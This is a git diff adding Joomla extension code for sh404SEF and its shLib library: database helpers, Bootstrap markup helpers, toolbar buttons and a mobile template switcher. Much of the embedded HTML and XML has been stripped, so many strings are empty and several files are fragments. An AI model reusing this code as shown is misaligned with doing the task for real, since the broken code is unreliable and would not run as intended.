either no instance has been registered + // or if some have been, they don't match the request + // for instance we have only read instances + // while we do a write query, + // then nothing to select + if (empty($weightedSums)) + { + return ''; + } + + // we have at least one valid db + // can proceed + $pick = mt_rand(1, $total); + foreach ($weightedSums as $index => $sum) + { + if ($sum >= $pick) + { + $name = $instances[$index]; + break; + } + } + } + + return $name; + } + + /** + * Create a default database record, using Joomla! + * database instance + * + * @param string $name name under which the db should be recorded + */ + private static function _createDefaultDatabase($name) + { + // get application db instance + // that's hardcoded dependency, but allow transparent operation + // within Joomla! framework, which will be 99% + // of cases anyway + $db = JFactory::getDBO(); + + // prepare a record to hold our database instance details + self::$_databases[$name] = new ShlDbClass_Dbrecord($db, $name, self::DEFAULT_WEIGHT, self::$_queryCacheEnabled, + self::$_defaultQueryCacheTableExclusionList, self::$_joomlaQueryCacheEnabled); + + // store as well in default dataset + self::$_datasets[self::SHL_DEFAULT][self::OP_TYPE_READ][] = $name; + self::$_datasets[self::SHL_DEFAULT][self::OP_TYPE_WRITE][] = $name; + + // enable the multi db support flag if we + // now have more than one database instance + self::$_multiDbSupportEnabled = self::_hasMoreThanOneEnabledDb(); + + } + + /** + * Finds if there is more than the default database instance + * enabled. If so raise a flag. This will be used by the + * class to avoid some unneeded processing in the + * (common) case we're only working with one single, default, instance + * + */ + private static function _hasMoreThanOneEnabledDb() + { + $enabled = false; + foreach (self::$_databases as $name => $instance) + { + if ($name != self::SHL_DEFAULT && $instance->enabled) + { + $enabled = true; + break; + } + } + return $enabled; + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/db/helpers/index.html b/deployed/sh404sef/plugins/system/shlib/shl_packages/db/helpers/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/db/helpers/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/db/index.html b/deployed/sh404sef/plugins/system/shlib/shl_packages/db/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/db/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/exception/exception.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/exception/exception.php new file mode 100644 index 00000000..d749c9e7 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/exception/exception.php @@ -0,0 +1,24 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/html/bses/helper.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/html/bses/helper.php new file mode 100644 index 00000000..2a003f0f --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/html/bses/helper.php @@ -0,0 +1,182 @@ +addStyleSheet($root . '/media/plg_shlib/css/bs.css'); + $document->addStyleSheet($root . '/media/plg_shlib/css/modal.css'); + } + + public static function addBootstrapModalFixCss($document, $root = '') + { + $root = empty($root) ? JURI::root(true) : $root; + $document->addStyleSheet($root . '/media/plg_shlib/css/modalfix.css'); + } + + public static function addBootstrapJs($document, $root = '') + { + $root = empty($root) ? JURI::root(true) : $root; + $document->addScript($root . '/media/plg_shlib/js/bs.js'); + } + + public static function badge($text, $type = '', $title = '', $extraClass = '') + { + if (empty($text)) + { + return ''; + } + $badged = '' . $text + . ''; + return $badged; + } + + public static function label($text, $type = '', $title = '', $extraClass = '') + { + if (empty($text)) + { + return ''; + } + $label = '' . $text + . ''; + return $label; + } + + public static function iconglyph($text, $type, $title = '', $prefix = "shl-") + { + $glyph = '' . $text; + return $glyph; + } + + /** + * Creates markup for an alert area, with optional classes + * and dismiss button + * + * @param string $text text to be displayed in alert area + * @param string $type bootstrap alert type: '',info,success,error + * @param string $dismiss if true, a dismiss button is added + * @param string $extraClass additional class added to the div + * @return string the html + */ + public static function alert($text, $type = '', $dismiss = false, $extraClass = '') + { + $alert = array(); + $alert[] = '
    '; + if ($dismiss) + { + $alert[] = ''; + } + $alert[] = $text . '
    '; + return implode("\n", $alert); + } + + /** + * Creates markup for a button, with optional type, size and disabled state + * + * @param string $text text to be displayed in alert area + * @param string $type bootstrap type: '', primary, info, success, warning,danger, inverse, link + * @param string $size bootstrap size: large, '', small, mini + * @param string $onclick an optional onclick event + * @param string $disabled if true, button is shown as disabled (though still active) + * @return string + */ + public static function button($text, $type = '', $size = '', $onclick = '', $disabled = false) + { + $button = array(); + $class = empty($type) ? 'btn' : ' btn-' . strtolower($type); + $class .= empty($size) ? '' : ' btn-' . strtolower($size); + $class .= empty($disabled) ? '' : ' disabled'; + + $button[] = '\n"; + return $html; + } + + /** + * Get the button CSS Id + * + * @access public + * @return string Button CSS Id + * @since 1.5 + */ + function fetchId( $type='Standard', $name = '', $text = '', $task = '', $list = true, $hideMenu = false ) + { + return $this->_parent->getName().'-'.$name; + } + + /** + * Get the JavaScript command for the button + * + * @access private + * @param string $name The task name as seen by the user + * @param string $task The task used by the application + * @param ??? $list + * @param boolean $hide + * @return string JavaScript command string + * @since 1.5 + */ + function _getCommand($name, $task, $list, $hide) + { + $message = JText::_('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST'); + $message = addslashes($message); + $hidecode = $hide ? 'shHideMainMenu();' : ''; + + if ($list) { + $cmd = "javascript:if(document.adminForm.boxchecked.value==0){alert('$message');}else{ $hidecode Joomla.submitbutton('$task')}"; + } else { + $cmd = "javascript:$hidecode Joomla.submitbutton('$task')"; + } + + + return $cmd; + } +} \ No newline at end of file diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/j3popuptoolbarbutton.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/j3popuptoolbarbutton.php new file mode 100644 index 00000000..77495b38 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/j3popuptoolbarbutton.php @@ -0,0 +1,145 @@ +_getOnclick(empty($params['checkListSelection']) ? false : true); + $url = $this->_fixUrl($url); + $buttonClass = empty($params['buttonClass']) ? 'btn btn-small modal' : $params['buttonClass']; + $buttonTitle = empty($params['buttonTitle']) ? '' : ' title = "' . $params['buttonTitle'] . '"'; + + $html = "\n"; + + // Build the options array for the modal + $params = array(); + $params['title'] = $title; + $params['url'] = $url; + $params['height'] = $height; + $params['width'] = $width; + + // render the modal + $html .= ShlHtmlModal_helper::renderBootstrapModal('modal-' . $name, $params); + + // If an $onClose event is passed, add it to the modal JS object + if (strlen($onClose) >= 1) + { + $html .= "\n"; + } + + return $html; + } + + /** + * Get the button id + * + * @param string $type Button type + * @param string $name Button name + * + * @return string Button CSS Id + * + * @since 3.0 + */ + public function fetchId($type = 'Standard', $name = '', $text = '', $task = '', $list = true, $hideMenu = false) + { + return $this->_parent->getName() . '-' . "popup-$name"; + } + + protected function _getOnclick($check = false) + { + if (empty($check)) + { + $onclick = 'onclick="shlBootstrap.canOpenModal = true;"'; + } + else + { + $onclick = ''; + $message = JText::_('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST'); + $message = addslashes($message); + $onclick = 'onclick="if (document.adminForm.boxchecked.value==0){alert(\'' . $message + . '\');shlBootstrap.canOpenModal = false;return false;}else{ + var cid = document.getElementsByName(\'cid[]\'); + var list = \'\'; + if (cid) { + var length = cid.length; + for ( var i = 0; i < length; i++) { + if (cid[i].checked) { + list += \'&cid[]=\' + cid[i].value; + } + } + } + shlBootstrap.setSelectedIdsUrl(list); + shlBootstrap.canOpenModal = true;return true;}"'; + } + return $onclick; + } + + private function _fixUrl($url) + { + if (substr($url, 0, 4) !== 'http') + { + $url = JURI::base(true) . '/' . $url; + } + + return $url; + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/j3shajaxtoolbarbutton.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/j3shajaxtoolbarbutton.php new file mode 100644 index 00000000..e8d0b6c8 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/j3shajaxtoolbarbutton.php @@ -0,0 +1,113 @@ +_getOnclick($name, $url, $params); + $buttonClass = empty($params['buttonClass']) ? 'btn btn-small' : $params['buttonClass']; + $buttonTitle = empty($params['buttonTitle']) ? '' : ' title = "' . $params['buttonTitle'] . '"'; + + $html = "\n"; + + return $html; + } + + /** + * Get the button id + * + * @param string $type Button type + * @param string $name Button name + * + * @return string Button CSS Id + * + * @since 3.0 + */ + public function fetchId($type = 'Standard', $name = '', $text = '', $task = '', $list = true, $hideMenu = false) + { + return $this->_parent->getName() . '-' . "popup-$name"; + } + + protected function _getOnclick($name, $url, $params) + { + $url = $this->_fixUrl($url); + + $commands = array(); + + // calculate the various parts of the ajax call params, encoded as JSon + if (!empty($params['update'])) + { + $commands['update'] = $params['update']; + } + + // make that a json object + $json = ShlSystem_Convert::arrayToJSObject($commands); + + // calculate the full command + $onclick = 'onclick="shAjaxHandler(\'' . $name . '\',' . $json . ',' . $params['closewindow'] . ');"'; + + return $onclick; + } + + private function _fixUrl($url) + { + if (substr($url, 0, 4) !== 'http') + { + $url = JURI::base() . $url; + } + + return $url; + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/shpopupstandardbutton.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/shpopupstandardbutton.php new file mode 100644 index 00000000..07edf484 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/shpopupstandardbutton.php @@ -0,0 +1,90 @@ +fetchIconClass($name); + $doTask = $this->_getCommand($text, $task, $list, $hideMenu); + + $html = "\n"; + $html .= "\n"; + $html .= "\n"; + $html .= "$i18n_text\n"; + $html .= "\n"; + + return $html; + } + + /** + * Get the button CSS Id + * + * @access public + * @return string Button CSS Id + * @since 1.5 + */ + function fetchId( $type='Standard', $name = '', $text = '', $task = '', $list = true, $hideMenu = false ) + { + return $this->_parent->getName().'-'.$name; + } + + /** + * Get the JavaScript command for the button + * + * @access private + * @param string $name The task name as seen by the user + * @param string $task The task used by the application + * @param ??? $list + * @param boolean $hide + * @return string JavaScript command string + * @since 1.5 + */ + function _getCommand($name, $task, $list, $hide) + { + $message = JText::_('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST'); + $message = addslashes($message); + $hidecode = $hide ? 'shHideMainMenu();' : ''; + + if ($list) { + $cmd = "javascript:if(document.adminForm.boxchecked.value==0){alert('$message');}else{ $hidecode Joomla.submitbutton('$task')}"; + } else { + $cmd = "javascript:$hidecode Joomla.submitbutton('$task')"; + } + + + return $cmd; + } +} \ No newline at end of file diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/shpopuptoolbarbutton.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/shpopuptoolbarbutton.php new file mode 100644 index 00000000..b1598446 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/shpopuptoolbarbutton.php @@ -0,0 +1,145 @@ +\n"; + $html .= $action; + $html .= "\n"; + + return $html; + } + + function fetchButton($type = 'Popup', $name = '', $url = '#', $text = '', $msg = '', $task = '', $list = true, $hideMenu = false, + $popupOptions = array()) + { + $buttonTitle = ''; + if (!empty($popupOptions['buttonTitle'])) + { + $buttonTitle = 'title = "' . $popupOptions['buttonTitle'] . '"'; + unset($popupOptions['buttonTitle']); + } + + // merge with default options + $defaultOptions = array('class' => 'modal', 'size' => array('x' => 640, 'y' => 500)); + $options = array_merge($defaultOptions, $popupOptions); + + $text = JText::_($text); + $class = $this->fetchIconClass($name); + $doTask = $this->_getCommand($msg, $name, $task, $list, $hideMenu); + $id = $this->fetchId($name); + + $modalOptionsString = ShlHtmlModal_helper::makeSqueezeboxOptions($options); + $rel = ' {handler: \'iframe\'' . (empty($modalOptionsString) ? '' : ', ' . $modalOptionsString) . '}'; + + $html = "\n"; + $html .= "\n"; + $html .= "\n"; + $html .= "$text\n"; + $html .= "\n"; + + return $html; + } + + /** + * Get the button id + * + * Redefined from JButton class + * + * @access public + * @param string $name Button name + * @return string Button CSS Id + * @since 1.5 + */ + function fetchId($name) + { + // bug in joomla + if (is_array($name)) + { + $name = $name[1]; + } + return $this->_parent->getName() . '-' . "popup-$name"; + } + + /** + * Get the JavaScript command for the button + * + * @access private + * @param object $definition Button definition + * @return string JavaScript command string + * @since 1.5 + */ + function _getCommand($msg, $name, $task, $list, $hide) + { + $message = JText::_('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST'); + $message = addslashes($message); + + if ($hide) + { + if ($list) + { + $cmd = "javascript:shStopEvent( event);if(document.adminForm.boxchecked.value==0){alert('$message');}else{shProcessToolbarClick(this.id, '$name');}"; + } + else + { + $cmd = "javascript:shStopEvent( event);shProcessToolbarClick( this.id, '$name');"; + } + } + else + { + if ($list) + { + $cmd = "javascript:shStopEvent( event);if(document.adminForm.boxchecked.value==0){alert('$message');}else{if(confirm('$msg')){shProcessToolbarClick(this.id, '$name');}}"; + } + else + { + $cmd = "javascript:shStopEvent( event);if(confirm('$msg')){shProcessToolbarClick( this.id, '$name');}"; + } + } + + return $cmd; + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shlib.php b/deployed/sh404sef/plugins/system/shlib/shlib.php new file mode 100644 index 00000000..b8891e0b --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shlib.php @@ -0,0 +1,113 @@ +_fixTimeWarning(); + + // couple of base path + defined( 'SHLIB_ROOT_PATH') or define( 'SHLIB_ROOT_PATH', str_replace( DIRECTORY_SEPARATOR, '/', dirname(__FILE__)) . '/shl_packages/'); + defined( 'SHLIB_PATH_TO_ZEND') or define( 'SHLIB_PATH_TO_ZEND', SHLIB_ROOT_PATH . 'ZendFramework-1.11.7-minimal/library/'); + + // register our autoloader + require_once SHLIB_ROOT_PATH . 'system/autoloader.php'; + $initialized = ShlSystem_Autoloader::initialize( SHLIB_ROOT_PATH); + + // initialize path lib + $this->_initLibrary(); + + defined('SHLIB_VERSION') or define ('SHLIB_VERSION', '0.2.9.370'); + + // check if we're set to enable database query cache + if( !empty($this->params)) { + try { + $handler = $this->params->get( 'sharedmemory_cache_handler', ShlCache_Manager::CACHE_HANDLER_APC); + $queryCacheParams = array(); + $queryCacheParams['host'] = $this->params->get( 'sharedmemory_cache_host', ''); + $queryCacheParams['port'] = $this->params->get( 'sharedmemory_cache_port', ''); + ShlCache_Manager::setHandler( $handler, $queryCacheParams); + ShlDbHelper::switchQueryCache( $this->params->get( 'enable_query_cache', 0) != 0); + if($this->params->get( 'enable_joomla_query_cache', 0)) { + ShlDbHelper::switchJoomlaQueryCache(); + } + } catch (ShlException $e) { + ShlSystem_Log::error( 'shlib', 'Unable to setup database query cache: %s', $e->getMessage()); + } + } + + } + + /** + * + * Prevent timezone not set warnings to appear all over, + * especially for PHP 5.3.3+ + */ + protected function _fixTimeWarning() { + + @date_default_timezone_set( @date_default_timezone_get()); + + } + + protected function _initLibrary() { + + // initialize Zend autoloader + include_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Autoloader.php'; + try { + Zendshl_Loader_Autoloader::getInstance()->setZfPath( SHLIB_ROOT_PATH ); + } catch (Exception $e) { + + } + + // setup logging configuration according to params + $logLevels = array(); + if(!empty( $this->params)) { + if($this->params->get('log_info')) { + $logLevels[] = ShlSystem_Log::INFO; + } + if($this->params->get('log_error')) { + $logLevels[] = ShlSystem_Log::ERROR; + } + if($this->params->get('log_alert')) { + $logLevels[] = ShlSystem_Log::ALERT; + } + if($this->params->get('log_debug')) { + $logLevels[] = ShlSystem_Log::DEBUG; + } + } + + ShlSystem_Log::setConfig(array( 'logLevel' => $logLevels)); + } + +} diff --git a/deployed/sh404sef/plugins/system/shlib/shlib.xml b/deployed/sh404sef/plugins/system/shlib/shlib.xml new file mode 100644 index 00000000..a21e0282 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shlib.xml @@ -0,0 +1,135 @@ + + + plg_system_shlib + Yannick Gaultier + 2014-06-11 + (c) Yannick Gaultier 2013 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 0.2.9.370 + PLG_SYSTEM_SHLIB_DESC + installation.script.php + + + shlib.php + installation.script.php + index.html + shl_packages + + + css + js + index.html + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + +
    +
    +
    + + language/en-GB/en-GB.plg_system_shlib.ini + language/en-GB/en-GB.plg_system_shlib.sys.ini + +
    diff --git a/deployed/sh404sef/plugins/system/shmobile/index.html b/deployed/sh404sef/plugins/system/shmobile/index.html new file mode 100644 index 00000000..fa4dbc7e --- /dev/null +++ b/deployed/sh404sef/plugins/system/shmobile/index.html @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/deployed/sh404sef/plugins/system/shmobile/shmobile.php b/deployed/sh404sef/plugins/system/shmobile/shmobile.php new file mode 100644 index 00000000..ce8e365a --- /dev/null +++ b/deployed/sh404sef/plugins/system/shmobile/shmobile.php @@ -0,0 +1,213 @@ +isSite()) + { + $app + ->enqueuemessage( + '
    sh404SEF requires the shLib system plugin to be enabled, but you appear to have disabled it. Please enable it again!', + 'error'); + } + return false; + } + + static $isMobile = null; + static $defaultRecords = array( + array('start' => 0, 'stop' => 0, + 'string' => '/android|avantgo|blackberry|blazer|compal|elaine|fennec|hiptop|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile|o2|opera m(ob|in)i|palm( os)?|p(ixi|re)\/|plucker|pocket|psp|smartphone|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce; (iemobile|ppc)|xiino/i'), + array('start' => 0, 'stop' => 4, + 'string' => '/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|e\-|e\/|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(di|rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|xda(\-|2|g)|yas\-|your|zeto|zte\-/i')); + + // look first for a query var + if (is_null($isMobile)) + { + $queryVar = JRequest::getString('sh404sef_override_mobile_detection', '', 'GET'); + switch ($queryVar) + { + case 'force_desktop': + case 'force_mobile': + $isMobile = $queryVar == 'force_mobile'; + break; + } + } + + if (!is_null($isMobile)) + { + // if we already have a decision, that was because of a request var: + + // 1 - set a cookie, so that decision is maintained + setCookie('sh404sef_override_mobile_detection', $isMobile ? 'force_mobile' : 'force_desktop', time() + 7 * 86400, '/'); + + // 2 - add a canonical tag to the page, to avoid search engines penalties + global $shCanonicalTag; + $pageInfo = sh404sefFactory::getPageInfo(); + $shCanonicalTag = $pageInfo->currentSefUrl; + $shCanonicalTag = Sh404sefHelperUrl::clearUrlVar($shCanonicalTag, 'sh404sef_override_mobile_detection'); + } + + // then look for a cookie + if (is_null($isMobile)) + { + + // search Joomla! cookie vars + $cookieFlag = JRequest::getString('sh404sef_override_mobile_detection', null, 'cookie'); + switch ($cookieFlag) + { + case 'force_desktop': + case 'force_mobile': + $isMobile = $cookieFlag == 'force_mobile'; + break; + } + } + + // look for a mobile search engine crawler + if (is_null($isMobile)) + { + // now auto-detect + jimport('joomla.environment.browser'); + $browser = JBrowser::getInstance(); + $userAgent = strtolower($browser->getAgentString()); + if (!empty($userAgent)) + { + $searchEnginesMobileAgents = array('Googlebot-Mobile'); + $remoteConfig = Sh404sefHelperUpdates::getRemoteConfig($forced = false); + $remotes = empty($remoteConfig->config['searchenginesmobileagents']) ? array() : $remoteConfig->config['searchenginesmobileagents']; + $agents = array_unique(array_merge($searchEnginesMobileAgents, $remotes)); + // adjust to Google mobile new user agent string for mobiles + // http://googlewebmastercentral.blogspot.fr/2014/01/a-new-googlebot-user-agent-for-crawling.html + if (strpos($userAgent, 'googlebot') !== false && strpos($userAgent, 'mobile') !== false) + { + $isMobile = true; + } + else + { + foreach ($agents as $agent) + { + if (strpos($userAgent, strtolower($agent)) !== false) + { + $isMobile = true; + break; + } + } + } + } + } + + if (is_null($isMobile)) + { + // now auto-detect + jimport('joomla.environment.browser'); + $browser = JBrowser::getInstance(); + $isMobile = $browser->isMobile(); + $userAgent = strtolower($browser->getAgentString()); + // detection code adapted from http://detectmobilebrowser.com/ + $remoteConfig = Sh404sefHelperUpdates::getRemoteConfig($forced = false); + $remotesRecords = empty($remoteConfig->config['mobiledetectionstrings']) ? array() : $remoteConfig->config['mobiledetectionstrings']; + $records = empty($remotes) ? $defaultRecords : $remotesRecords; + foreach ($records as $record) + { + $isMobile = $isMobile + || (empty($record['stop']) ? preg_match($record['string'], substr($userAgent, $record['start'])) + : preg_match($record['string'], substr($userAgent, $record['start'], $record['stop']))); + } + + } + + // tell page information object about this + if ($isMobile) + { + Sh404sefFactory::getPageInfo()->isMobileRequest = $isMobile; + } + + return $isMobile; + } + + public function onAfterRoute() + { + // get joomla application object + $app = JFactory::getApplication(); + + // check shLib is available + if (!defined('SHLIB_VERSION')) + { + return; + } + + if ($app->isAdmin()) + { + return; + } + + $enabled = $this->params->get('mobile_switch_enabled', 0); + + // check for mobile user + if ($enabled) + { + // Issue a Vary HTTP header, to tell crawlers, cache and proxies + // that content is changing based on user agent + JResponse::setHeader('Vary', 'User-Agent'); + + // switch to another template if request is from a mobile device + $isMobile = self::isMobileRequest(); + if ($isMobile) + { + $template = $this->params->get('mobile_template', ''); + $this->_setTemplate($template); + } + } + + } + + protected function _setTemplate($tpl = null) + { + if (empty($tpl)) + { + return; + } + else + { + $app = JFactory::getApplication(); + $app->setTemplate($tpl); + if (!defined('SHMOBILE_MOBILE_TEMPLATE_SWITCHED')) + { + define('SHMOBILE_MOBILE_TEMPLATE_SWITCHED', 1); + } + } + + } + +} diff --git a/deployed/sh404sef/plugins/system/shmobile/shmobile.xml b/deployed/sh404sef/plugins/system/shmobile/shmobile.xml new file mode 100644 index 00000000..9c90710e --- /dev/null +++ b/deployed/sh404sef/plugins/system/shmobile/shmobile.xml @@ -0,0 +1,33 @@ + + + sh404sef - System mobile template switcher + Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 4.4.4.1791 + Switch site template for mobile devices + + shmobile.php + index.html + + + + +
    + + + + + +
    +
    +
    + +